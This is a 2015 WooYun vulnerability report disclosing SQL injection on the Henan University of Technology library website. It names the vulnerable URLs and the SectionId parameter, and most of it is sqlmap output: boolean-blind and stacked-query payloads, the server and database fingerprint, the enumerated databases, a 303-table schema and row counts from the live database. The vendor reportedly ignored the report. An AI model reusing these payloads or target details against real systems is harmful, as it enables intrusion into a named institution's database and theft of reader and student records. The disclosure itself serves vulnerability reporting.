当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139862

漏洞标题：河南工业大学图书馆 存在漏洞

相关厂商：河南工业大学图书馆

漏洞作者： me1ody

提交时间：2015-09-09 14:20

修复时间：2015-09-14 14:22

公开时间：2015-09-14 14:22

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-09： 细节已通知厂商并且等待厂商处理中
2015-09-14： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

- - 我竟然跑了一下午加上一晚上
求电费

详细说明：

注入点

http://lib.haut.edu.cn/ArticleList.aspx?SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212
http://lib.haut.edu.cn/ActicleShow.aspx?SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: SectionId (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212' AND 3054=3054 AND 'VBCI'='VBCI
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212';WAITFOR DELAY '0:0:10'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [7]:
[*] master
[*] model
[*] msdb
[*] New_sy_core_HeNan
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb


sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: SectionId (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212' AND 3054=3054 AND 'VBCI'='VBCI
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212';WAITFOR DELAY '0:0:10'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: SectionId (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212' AND 3054=3054 AND 'VBCI'='VBCI
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: SectionId=1b98f31b-5261-4a77-b07e-9f01fcb25212';WAITFOR DELAY '0:0:10'--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: New_sy_core_HeNan
[303 tables]
+---------------------------------------------+
| AccessToRecords                             |
| Access_to_records_View                      |
| Album                                       |
| Album_File                                  |
| Album_File_Chapter                          |
| Album_File_Chapter_view                     |
| Album_Fled                                  |
| Album_Record                                |
| Answer                                      |
| Article_view_Recom_Article                  |
| AttributeAdd                                |
| AuditRecord                                 |
| Billing                                     |
| Billing_Type                                |
| Catalog                                     |
| Catalog_Album                               |
| Catalog_Field                               |
| Catalog_Field_ViewWarehouse_Field           |
| Catalog_Field_ViewWarehouse_FieldAlbum_Fled |
| Catalog_Role                                |
| Catalog_ViewGetLoadByList                   |
| Change_QuestionsInfomation                  |
| Change_QuestionsInfomation2                 |
| Change_QuestionsInfomation_Reader_View      |
| Chapter                                     |
| Chapter_ViewGetLoadByList                   |
| Club_Event                                  |
| Code                                        |
| Comment                                     |
| Comment_View_Album                          |
| Consult                                     |
| D99_CMD                                     |
| D99_REG                                     |
| D99_Tmp                                     |
| DWGK_IP_Manage                              |
| DateInterfaceKey                            |
| DatePart                                    |
| Dep_PublicDB                                |
| Dictionary                                  |
| Download_Album_File                         |
| Download_Album_File_View_Album_Alubm_File   |
| Evaluate                                    |
| FAQ                                         |
| FAQType                                     |
| FilePath                                    |
| Filtrate                                    |
| GroupUser                                   |
| GroupUser_Menu                              |
| GroupUser_Role                              |
| GroupUser_User                              |
| HomePageFile                                |
| IPJudge                                     |
| IP_Manage                                   |
| IP_Manage_Album_Catalog_View                |
| IP_Manage_Catalog_View                      |
| IP_Manage_LibraryTree_View                  |
| ISO_Request                                 |
| ISO_Request_View_Album                      |
| Inclassification                            |
| Inclassification_View                       |
| LeaveWordTwo                                |
| Library                                     |
| LibraryTree                                 |
| Media_Type                                  |
| Medium_Inspection                           |
| Medium_Inspection_History                   |
| Medium_Team                                 |
| Message_Login                               |
| NLApplyTable                                |
| NewOption                                   |
| NowLeader                                   |
| Open_QuestionsInfomation                    |
| Open_QuestionsInfomation2                   |
| Open_QuestionsInfomation3                   |
| Operate_Log                                 |
| OperationTb                                 |
| Operation_Type                              |
| P_User                                      |
| Page                                        |
| Page_Warehouse                              |
| Paper_Attachment                            |
| Paper_Attachment2                           |
| Paper_Down                                  |
| Paper_Submission                            |
| Paper_Submission_Black                      |
| Paper_View                                  |
| Paper_Visit                                 |
| Paste                                       |
| Paste_ViewGetLoadByList                     |
| PeoPle_Reader                               |
| People                                      |
| PeopleLogin_log                             |
| People_Reader_Open_QuestionsInfomation      |
| People_T_Menu_User_MenuView                 |
| Pic_Core_AVG_View                           |
| PictureShow                                 |
| Poll                                        |
| PublicRange                                 |
| Rating                                      |
| Reader                                      |
| ReaderByWebUI                               |
| ReaderLogin_log                             |
| ReaderOperating_log                         |
| ReaderOperating_log2                        |
| ReaderOrganization                          |
| ReaderPollScore                             |
| Reader_PublicRange                          |
| Reader_ViewReader_PublicRange               |
| Recom_Article                               |
| RelatedTeacher                              |
| Reply                                       |
| ResourceLink                                |
| Role                                        |
| Role_Menu                                   |
| SY_Favorites                                |
| SY_Favorites_Type                           |
| SY_Favorites_view_List                      |
| SY_IP                                       |
| Section                                     |
| Sections_Type                               |
| SignUp                                      |
| SoftRegister                                |
| Space                                       |
| Space_ViewGetLoadByList                     |
| SpecialtyIntro                              |
| Statistics_View                             |
| Steer                                       |
| SteerReply                                  |
| SurveyType                                  |
| Sy_AlbumAide                                |
| Sy_Paper_Achievement                        |
| Sy_Paper_AppRovalAttach                     |
| Sy_Paper_AppRovalSubmit                     |
| Sy_Paper_Appointment                        |
| Sy_Paper_ExpertScore                        |
| Sy_Paper_InCheck                            |
| Sy_Paper_InCheck1                           |
| Sy_Paper_InCheck2                           |
| Sy_Paper_InCheckCopy                        |
| Sy_Paper_InCheckFile                        |
| Sy_Paper_PaperApply                         |
| Sy_Paper_ReplyScore                         |
| Sy_Paper_RovalAccount                       |
| Sy_Paper_RovalExpert                        |
| Sy_Paper_RovalPaper                         |
| Sy_Paper_RovalSchool                        |
| Sy_Paper_RovalToipc                         |
| Sy_Paper_ScoreStandard                      |
| Sy_Paper_TopicAndScore                      |
| Sy_Users_Experience                         |
| SystemParameter                             |
| T_Degree_Apply                              |
| T_Degree_Apply1                             |
| T_Menu                                      |
| T_Menu_Parent                               |
| T_Menu_Type_Url                             |
| T_Message                                   |
| T_Thesis_Results                            |
| T_Thesis_apply                              |
| Taxis                                       |
| Team_Reader                                 |
| Topics                                      |
| User_Menu                                   |
| User_PublicDB                               |
| User_Role                                   |
| User_Type                                   |
| Users                                       |
| V_Article_download                          |
| V_CheckIn                                   |
| V_StudentInfo                               |
| V_StudentPapeInfo                           |
| V_TlStudentInfo                             |
| V_TlStudentPapeInfo                         |
| V_TutorInfo                                 |
| V_WorkGroup                                 |
| View_Warehouse_Catalog_Album                |
| Visit                                       |
| VistFile                                    |
| Warehouse                                   |
| Warehouse_Field                             |
| Warehouse_Field_View_Album_Fled             |
| WebUITable                                  |
| WeblinkType                                 |
| Wish                                        |
| WorkGroup                                   |
| WorkGroup_People                            |
| WorkGroup_Reader                            |
| 㥥题㍵梈                                          |
| 㥥题㍵虓낋啟梈                                          |
| 몋蝥潠梈                                       |
|                                           |
| ﱛ࡞_晛塔梈                                           |
| _题쑾_晛塔梈                                          |
| adpicture                                   |
| album_file_avg                              |
| application                                 |
| apply                                       |
| apply_Type                                  |
| apply_Type_files                            |
| apply_files                                 |
| article                                     |
| article_PublicRange                         |
| article_attchment                           |
| booklist                                    |
| booklist_Type                               |
| booklist_item                               |
| channel                                     |
| channel_Type                                |
| channel_class                               |
| download                                    |
| dtproperties                                |
| inquery                                     |
| inquery_reply                               |
| journal_item                                |
| journal_list                                |
| masterplate                                 |
| memo                                        |
| menu                                        |
| newspaper                                   |
| organization                                |
| organization_View                           |
| organization_people                         |
| parameter                                   |
| people_album                                |
| people_reader_Paper_Submission              |
| public_admin                                |
| public_admin_log                            |
| reader_readerorganization_organization      |
| recommend                                   |
| resource                                    |
| resourceType                                |
| section_field                               |
| sy_Annex                                    |
| sy_AnnexSize                                |
| sy_Archives                                 |
| sy_ArchivesLevel                            |
| sy_ArchivesPermissions                      |
| sy_Base_EmailUserAndUserDetail              |
| sy_Base_EmailUserAndUserDetailMsgto         |
| sy_Base_RecentVisitAndUser                  |
| sy_Base_RecentVisitAndUserFriend            |
| sy_Base_SurverResultLoad                    |
| sy_Base_SurveyView                          |
| sy_Base_UserAndUserDetail                   |
| sy_BeginDate                                |
| sy_ClientInformation                        |
| sy_CollectAlbum                             |
| sy_CollectAlbumFled                         |
| sy_CollectArticle                           |
| sy_CollectCategory                          |
| sy_CollectConfig                            |
| sy_Communication                            |
| sy_ContactWindow                            |
| sy_ContentConfig                            |
| sy_ContentSort                              |
| sy_DefiniteTime                             |
| sy_Department                               |
| sy_DepthSeach                               |
| sy_Download                                 |
| sy_Email                                    |
| sy_EmailReply                               |
| sy_FriendLink                               |
| sy_FriendLinkType                           |
| sy_Friends                                  |
| sy_Friends_GetLoadByMyFriendsList           |
| sy_Friends_Type                             |
| sy_IPControl                                |
| sy_IPManager                                |
| sy_Log                                      |
| sy_Login                                    |
| sy_LoginLog                                 |
| sy_Mail                                     |
| sy_Mail_ViewGetLoadByListMyMsgto            |
| sy_MenuInfo                                 |
| sy_New                                      |
| sy_News                                     |
| sy_People_active                            |
| sy_PowerInfo                                |
| sy_ProductFeedback                          |
| sy_ProductType                              |
| sy_ProvincesManagement                      |
| sy_ProvincesManagementView                  |
| sy_RecentVisit                              |
| sy_Register                                 |
| sy_SurverOption                             |
| sy_SurverProbl                              |
| sy_SurverResult                             |
| sy_Survey                                   |
| sy_SurveyIP                                 |
| sy_SurveyObject                             |
| sy_Type                                     |
| sy_Type1                                    |
| sy_Type_ViewGetLoadByList                   |
| sy_UserDetail                               |
| sy_UserInfo                                 |
| sy_UserInfo_GetLoadByandDepartment          |
| sy_Users                                    |
| sy_typeView1                                |
| template                                    |
| tree                                        |
| v_Sy_Paper_Achievement                      |
| weblink                                     |
| ⵎ쁨ཛྷ쑾梈                                       |
+---------------------------------------------+
Database: New_sy_core_HeNan
+--------------------------------------------+---------+
| Table                                      | Entries |
+--------------------------------------------+---------+
| dbo.Visit                                  | 958114  |
| dbo.sy_Base_SurverResultLoad               | 46605   |
| dbo.sy_SurverResult                        | 46605   |
| dbo.User_Menu                              | 2891    |
| dbo.People_T_Menu_User_MenuView            | 2864    |
| dbo.sy_LoginLog                            | 2607    |
| dbo.V_Article_download                     | 2157    |
| dbo.article                                | 2129    |
| dbo.Operate_Log                            | 1677    |
| dbo.Reader_PublicRange                     | 941     |
| dbo.Reader_ViewReader_PublicRange          | 940     |
| dbo.Reader                                 | 929     |
| dbo.reader_readerorganization_organization | 929     |
| dbo.article_attchment                      | 683     |
| dbo.Consult                                | 564     |
| dbo.Message_Login                          | 420     |
| dbo.Role_Menu                              | 401     |
| dbo.apply_Type_files                       | 368     |
| dbo.T_Message                              | 342     |
| dbo.sy_SurverOption                        | 252     |
| dbo.ResourceLink                           | 235     |
| dbo.T_Menu                                 | 232     |
| dbo.Evaluate                               | 231     |
| dbo.Comment                                | 228     |
| dbo.sy_New                                 | 209     |
| dbo.NLApplyTable                           | 174     |
| dbo.resource                               | 147     |
| dbo.Answer                                 | 146     |
| dbo.menu                                   | 146     |
| dbo.Sections_Type                          | 109     |
| dbo.Taxis                                  | 96      |
| dbo.Chapter                                | 90      |
| dbo.Chapter_ViewGetLoadByList              | 90      |
| dbo.Space                                  | 88      |
| dbo.Space_ViewGetLoadByList                | 88      |
| dbo.Billing                                | 84      |
| dbo.parameter                              | 79      |
| dbo.Billing_Type                           | 65      |
| dbo.sy_CollectAlbum                        | 63      |
| dbo.booklist_item                          | 60      |
| dbo.organization                           | 59      |
| dbo.organization_View                      | 59      |
| dbo.section_field                          | 59      |
| dbo.masterplate                            | 58      |
| dbo.sy_SurverProbl                         | 57      |
| dbo.channel                                | 47      |
| dbo.SY_Favorites                           | 44      |
| dbo.RelatedTeacher                         | 40      |
| dbo.Paper_Visit                            | 38      |
| dbo.Section                                | 38      |
| dbo.SpecialtyIntro                         | 31      |
| dbo.Album_File                             | 30      |
| dbo.inquery_reply                          | 30      |
| dbo.Sy_Paper_ReplyScore                    | 28      |
| dbo.sy_MenuInfo                            | 27      |
| dbo.sy_ContentConfig                       | 26      |
| dbo.WeblinkType                            | 26      |
| dbo.sy_Friends_Type                        | 25      |
| dbo.AttributeAdd                           | 21      |
| dbo.channel_Type                           | 21      |
| dbo.Inclassification                       | 21      |
| dbo.Inclassification_View                  | 21      |
| dbo.FAQ                                    | 20      |
| dbo.memo                                   | 20      |
| dbo.People                                 | 20      |
| dbo.People_Reader_Open_QuestionsInfomation | 20      |
| dbo.Warehouse                              | 20      |
| dbo.sy_PowerInfo                           | 19      |
| dbo.Download_Album_File                    | 18      |
| dbo.newspaper                              | 18      |
| dbo.Paper_Submission_Black                 | 18      |
| dbo.Catalog_Album                          | 17      |
| dbo.Dictionary                             | 17      |
| dbo.ReaderPollScore                        | 17      |
| dbo.NowLeader                              | 16      |
| dbo.T_Menu_Parent                          | 16      |
| dbo.LeaveWordTwo                           | 15      |
| dbo.User_Role                              | 15      |
| dbo.WorkGroup_People                       | 14      |
| dbo.recommend                              | 13      |
| dbo.T_Thesis_apply                         | 13      |
| dbo.Wish                                   | 13      |
| dbo.Sy_Paper_InCheck                       | 12      |
| dbo.IP_Manage                              | 11      |
| dbo.sy_Friends                             | 11      |
| dbo.FilePath                               | 10      |
| dbo.Media_Type                             | 10      |
| dbo.Paper_Attachment                       | 10      |
| dbo.Reply                                  | 10      |
| dbo.T_Menu_Type_Url                        | 10      |
| dbo.AuditRecord                            | 9       |
| dbo.SY_Favorites_Type                      | 8       |
| dbo.weblink                                | 8       |
| dbo.Album                                  | 7       |
| dbo.Album_File_Chapter_view                | 7       |
| dbo.inquery                                | 7       |
| dbo.Page_Warehouse                         | 7       |
| dbo.sy_DepthSeach                          | 7       |
| dbo.Sy_Paper_InCheckFile                   | 7       |
| dbo.Sy_Paper_ScoreStandard                 | 7       |
| dbo.View_Warehouse_Catalog_Album           | 7       |
| dbo.booklist_Type                          | 6       |
| dbo.Paper_Attachment2                      | 6       |
| dbo.Users                                  | 6       |
| dbo.WorkGroup                              | 6       |
| dbo.FAQType                                | 5       |
| dbo.Filtrate                               | 5       |
| dbo.journal_item                           | 5       |
| dbo.people_album                           | 5       |
| dbo.PublicRange                            | 5       |
| dbo.sy_Download                            | 5       |
| dbo.adpicture                              | 4       |
| dbo.ISO_Request                            | 4       |
| dbo.Library                                | 4       |
| dbo.Open_QuestionsInfomation2              | 4       |
| dbo.Page                                   | 4       |
| dbo.Paper_View                             | 4       |
| dbo.Steer                                  | 4       |
| dbo.sy_EmailReply                          | 4       |
| dbo.Article_view_Recom_Article             | 3       |
| dbo.booklist                               | 3       |
| dbo.organization_people                    | 3       |
| dbo.Paper_Down                             | 3       |
| dbo.Recom_Article                          | 3       |
| dbo.Role                                   | 3       |
| dbo.SteerReply                             | 3       |
| dbo.Sy_Paper_InCheck2                      | 3       |
| dbo.User_Type                              | 3       |
| dbo.Catalog                                | 2       |
| dbo.Catalog_ViewGetLoadByList              | 2       |
| dbo.channel_class                          | 2       |
| dbo.HomePageFile                           | 2       |
| dbo.journal_list                           | 2       |
| dbo.Open_QuestionsInfomation               | 2       |
| dbo.Operation_Type                         | 2       |
| dbo.Paste                                  | 2       |
| dbo.Paste_ViewGetLoadByList                | 2       |
| dbo.SignUp                                 | 2       |
| dbo.sy_Base_EmailUserAndUserDetail         | 2       |
| dbo.sy_Base_EmailUserAndUserDetailMsgto    | 2       |
| dbo.sy_Base_RecentVisitAndUser             | 2       |
| dbo.sy_Base_RecentVisitAndUserFriend       | 2       |
| dbo.sy_Base_SurveyView                     | 2       |
| dbo.sy_Base_UserAndUserDetail              | 2       |
| dbo.sy_CollectArticle                      | 2       |
| dbo.sy_CollectCategory                     | 2       |
| dbo.sy_CollectConfig                       | 2       |
| dbo.sy_Email                               | 2       |
| dbo.sy_Friends_GetLoadByMyFriendsList      | 2       |
| dbo.sy_RecentVisit                         | 2       |
| dbo.sy_Survey                              | 2       |
| dbo.sy_UserDetail                          | 2       |
| dbo.Topics                                 | 2       |
| dbo.User_PublicDB                          | 2       |
| dbo.application                            | 1       |
| dbo.Club_Event                             | 1       |
| dbo.D99_REG                                | 1       |
| dbo.DateInterfaceKey                       | 1       |
| dbo.GroupUser                              | 1       |
| dbo.Poll                                   | 1       |
| dbo.ReaderByWebUI                          | 1       |
| dbo.SurveyType                             | 1       |
| dbo.sy_AnnexSize                           | 1       |
| dbo.sy_BeginDate                           | 1       |
| dbo.sy_DefiniteTime                        | 1       |
| dbo.sy_Department                          | 1       |
| dbo.Sy_Paper_Achievement                   | 1       |
| dbo.sy_SurveyObject                        | 1       |
| dbo.sy_Type1                               | 1       |
| dbo.sy_typeView1                           | 1       |
| dbo.sy_UserInfo                            | 1       |
| dbo.sy_UserInfo_GetLoadByandDepartment     | 1       |
| dbo.SystemParameter                        | 1       |
| dbo.V_TutorInfo                            | 1       |
| dbo.WebUITable                             | 1       |
+--------------------------------------------+---------+

漏洞证明：

1.png

修复方案：

解决注入

版权声明：转载请注明来源 me1ody@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-14 14:22

厂商回复：

最新状态：

暂无